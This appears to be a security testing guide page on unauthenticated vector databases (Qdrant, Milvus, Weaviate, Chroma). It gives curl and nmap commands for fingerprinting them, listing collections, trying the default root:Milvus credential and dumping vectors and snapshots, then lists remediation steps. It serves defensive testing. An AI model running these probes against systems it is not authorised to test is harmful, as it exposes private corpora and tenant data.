Exposed Vector Database Endpoints

Description

Vector databases were built as internal infrastructure and their defaults say so. Qdrant ships with service.api_key commented out, so an unconfigured instance answers every REST and gRPC call anonymously on ports 6333 and 6334. Milvus ships common.security.authorizationEnabled set to false, and when it is turned on the root account still starts with the documented default password Milvus. Chroma runs with no authentication provider unless CHROMA_SERVER_AUTHN_PROVIDER is set. Weaviate offers anonymous access as a first-class mode and the quickstart compose files enable it. Add a hosted index console with an over-scoped token, or a pgvector service on the ordinary Postgres port, and the store becomes an authorisation boundary nobody configured.

The payoff is the whole corpus in machine-readable form: payload metadata usually carries document title, source URI, tenant id and often the chunk text verbatim, and the vectors are invertible - see the Embedding Inversion And Reconstruction page. Snapshot and backup APIs add a portable copy of the entire collection, and snapshot upload and recover add write access without touching the application. It is easy to miss in an application-scoped test because none of it goes through the assistant: the finding lives one hop behind the orchestrator, on a port nobody put in scope. The 2026 LLM09 text treats conventional vector-database auth bugs as compounding the geometric risk rather than as in-scope, while still requiring the store and its embedding API to be authenticated as first-class APIs and its backups held at source-document sensitivity. Cross-tenant leakage through a correctly authenticated retriever is the Cross-Tenant RAG Retrieval Leakage page under LLM02.

Examples

Fingerprint the ports and identify the product

Sweep the known service ports from a host that should not be able to reach them at all, then read the banner.

nmap -Pn -sV -p 5432,6333,6334,6335,8000,8080,9091,19530,50051 vectordb.internal

# Qdrant answers with its name and version on the root path
curl -s http://vectordb.internal:6333/ ; echo
# {"title":"qdrant - vector search engine","version":"1.x.y","commit":"..."}

curl -s -o /dev/null -w '%{http_code}\n' http://vectordb.internal:8080/v1/meta      # Weaviate
curl -s -o /dev/null -w '%{http_code}\n' http://vectordb.internal:9091/healthz     # Milvus
curl -s http://vectordb.internal:8000/api/v2/heartbeat                             # Chroma

Confirmed when a version banner or a 200 comes back with no credential in the request. Qdrant also serves a web console at /dashboard and Prometheus metrics at /metrics, both under the same api-key setting, so an unauthenticated /metrics is itself the proof.

Test anonymous access and default tokens, per product

Each product has its own no-auth shape. Run the read that lists containers of data and see whether it answers.

# Qdrant: no api-key header at all
curl -s http://vectordb.internal:6333/collections
curl -s http://vectordb.internal:6333/telemetry | head -c 400

# Weaviate: anonymous schema and tenant listing
curl -s http://vectordb.internal:8080/v1/schema
curl -s http://vectordb.internal:8080/v1/schema/Document/tenants

# Milvus REST v2: try no token, then the documented default root credential
curl -s -X POST http://vectordb.internal:19530/v2/vectordb/collections/list \
  -H 'Content-Type: application/json' -d '{"dbName":"_default"}'
curl -s -X POST http://vectordb.internal:19530/v2/vectordb/collections/list \
  -H 'Authorization: Bearer root:Milvus' \
  -H 'Content-Type: application/json' -d '{"dbName":"_default"}'

# Chroma: tenants, databases, collections
curl -s http://vectordb.internal:8000/api/v2/tenants/default_tenant/databases/default_database/collections

Confirmed by a collection, class or tenant list. Record which credential state produced it - none, default, or a token recovered elsewhere - since that sets the severity. On Milvus also record the version: releases before 2.4.24, 2.5.21 and 2.6.5 are affected by CVE-2025-64513, where the proxy trusts a client-supplied sourceID header and skips authorisation entirely, so an unpatched build is exposed even with authorizationEnabled set.

Enumerate namespaces and dump vectors with their payload metadata

Once you can list collections, read the contents. Keep it to a small page so the test stays read-only and cheap.

curl -s http://vectordb.internal:6333/collections/kb_shared/points/scroll \
  -H 'Content-Type: application/json' \
  -d '{"limit":20,"with_payload":true,"with_vector":true}' > /tmp/poc-dump.json

# distinct tenants visible in one anonymous read
python3 -c 'import json;print({p["payload"].get("tenant_id") for p in json.load(open("/tmp/poc-dump.json"))["result"]["points"]})'

The Weaviate equivalent is GET /v1/objects?class=Document&include=vector&limit=20, with a tenant parameter from the tenants listing; Chroma uses a POST to the collection’s /get route with include set to documents, metadatas and embeddings; pgvector needs only psql and a SELECT over the embedding column. Confirmed when payload fields contain document titles, source URIs or chunk text, and when more than one tenant id appears in one response.

Check snapshot, backup and admin operations

The export and write surface is governed by the same single api-key, so if reads are open these are too. Snapshot a lab collection and confirm it downloads.

curl -s -X POST http://vectordb.internal:6333/collections/poc_lab/snapshots
curl -s http://vectordb.internal:6333/collections/poc_lab/snapshots
curl -s -o /tmp/poc-snapshot.snapshot \
  "http://vectordb.internal:6333/collections/poc_lab/snapshots/$SNAPSHOT_NAME"

# whole-storage snapshot listing, and the cluster view
curl -s http://vectordb.internal:6333/snapshots
curl -s http://vectordb.internal:6333/cluster

A downloaded snapshot is a complete offline copy of a collection, vectors included. Record without exercising them that the same surface exposes POST /collections/{name}/snapshots/upload and PUT /collections/{name}/snapshots/recover - together an arbitrary-corpus-replacement primitive - and that Chroma exposes POST /api/v2/reset, gated by an allow_reset setting that ships false. On Weaviate record that POST /v1/backups/filesystem is reachable without starting a backup, and read GET /v1/users/db and GET /v1/authz/roles, which show whether RBAC is configured at all.

Remediation

  1. Turn on authentication and remove the defaults
    • Set service.api_key and, where fine-grained scopes are needed, jwt_rbac on Qdrant; set common.security.authorizationEnabled and rotate the root password on Milvus; set AUTHENTICATION_ANONYMOUS_ACCESS_ENABLED to false with API key or OIDC auth plus RBAC on Weaviate; set CHROMA_SERVER_AUTHN_PROVIDER and its credentials on Chroma.
    • Issue a distinct credential per consumer - retriever, ingest worker, operator - and never share one key across read and write paths.
  2. Take the store off reachable networks
    • Bind to a private interface and put the store’s HTTP and gRPC ports behind a network policy only the orchestrator can traverse; never publish them to a user-facing network.
    • Terminate TLS in front of the store; api-key headers over plain HTTP are one capture away from full access.
  3. Separate the management surface
    • Move consoles, dashboards, /metrics, /telemetry and cluster endpoints to an admin-only listener or block them at the proxy.
    • Restrict snapshot, backup, upload, recover and reset operations to an operator identity and alert on every call.
  4. Patch and inventory
    • Track vector-store versions alongside the rest of the stack, patch known auth bypasses promptly, and strip client-supplied internal headers such as sourceID at the gateway.
    • Keep an inventory of every vector service, index and hosted console with an owner and the credential it accepts.
  5. Monitor the store as source data
    • Log credential, collection, operation and returned id count immutably, and alert on filterless scrolls, snapshot creation and bulk vector reads.